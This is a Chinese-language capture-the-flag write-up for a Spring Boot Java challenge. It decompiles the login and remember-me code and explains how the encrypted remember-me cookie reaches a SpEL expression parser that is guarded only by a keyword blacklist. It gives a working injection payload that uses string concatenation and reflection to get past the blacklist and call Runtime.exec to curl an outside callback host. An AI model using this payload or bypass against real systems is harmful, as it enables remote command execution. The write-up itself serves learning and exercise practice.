源代码:https://www.leavesongs.com/media/attachment/2018/11/23/challenge-0.0.1-SNAPSHOT.jar
解题步骤
将下载下来的jar包放到jd-gui中,查看源代码。
源码分析
META-INF文件夹
中放的是:目录中的文件和目录获得Java 2平台的认可与解释,用来配置应用程序、扩展程序、类加载器和服务manifest.mf
(包含了jar文件的内容描述,在应用程序运行时向JVM提供应用程序的信息)文件,在用jar打包时自动生成org.springframework.boot.loader
提供一系列的依赖包BOOT-INF/templates
里面是前端界面application.yml
这个文件是一个黑名单,一个用户账号密码及Remember me
这个功能用到的key。SmallEvaluationContext
继承StandardEvaluationContext
,相当于一个容器。ChallengeApplication
用于启动Encryptor
是Remember me
这个功能用到的加密解密工具。KeyworkProperties
对前面提到的黑名单的调用UserConfig
用户模型,在RemberMe
时使用了Encryptor
MainController
主要分析一下
login()
判断用户名密码,如果勾选了remberMe,浏览器存入加密后的cookie。
然后跳转到hello.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16@PostMapping({"/login"})
public String login(@RequestParam(value="username", required=true) String username, @RequestParam(value="password", required=true) String password, @RequestParam(value="remember-me", required=false) String isRemember, HttpSession session, HttpServletResponse response)
{
if ((this.userConfig.getUsername().contentEquals(username)) && (this.userConfig.getPassword().contentEquals(password)))
{
session.setAttribute("username", username);
if ((isRemember != null) && (!isRemember.equals("")))
{
Cookie c = new Cookie("remember-me", this.userConfig.encryptRememberMe());
c.setMaxAge(2592000);
response.addCookie(c);
}
return "redirect:/";
}
return "redirect:/login-error";
}
admin()
对跳转之后的cookie做处理,判断rememberMeValue存在后,直接对其进行解密。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17@GetMapping
public String admin(@CookieValue(value="remember-me", required=false) String rememberMeValue, HttpSession session, Model model)
{
if ((rememberMeValue != null) && (!rememberMeValue.equals("")))
{
String username = this.userConfig.decryptRememberMe(rememberMeValue);
if (username != null) {
session.setAttribute("username", username);
}
}
Object username = session.getAttribute("username");
if ((username == null) || (username.toString().equals(""))) {
return "redirect:/login";
}
model.addAttribute("name", getAdvanceValue(username.toString()));
return "hello";
}
解密之后跟黑名单做比较,如果匹配成功则抛出HttpStatus.FORBIDDEN
,如果没有匹配到则进行正常流程,在SmallEvaluationContext
文件中进行SpEL表达式
解析,关于SPEL表达式注入可以参考这篇文章。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15private String getAdvanceValue(String val)
{
for (String keyword : this.keyworkProperties.getBlacklist())
{
Matcher matcher = Pattern.compile(keyword, 34).matcher(val);
if (matcher.find()) {
throw new HttpClientErrorException(HttpStatus.FORBIDDEN);
}
}
Object parserContext = new TemplateParserContext();
Expression exp = this.parser.parseExpression(val, (ParserContext)parserContext);
SmallEvaluationContext evaluationContext = new SmallEvaluationContext();
return exp.getValue(evaluationContext).toString();
}
}
因为使用了黑名单,可以使用字符串拼接+反射来构造一条pop链来绕过
1
String.class.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('exec',String.class).invoke(String.class.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(String.class.getClass().forName('java.la'+'ng.Ru'+'ntime')),'curl http://xxxxx.ceye.io');
因为
RememberMe
这个功能得到的数据需要是spel格式
且加密过的,所以payload需要加密一下。
加密脚本
- 还需导入这几个jar包(将题目给的Jar包解压,在lib目录下)
1 | import javax.crypto.spec.IvParameterSpec; |
- 读取根目录文件
- 查看flag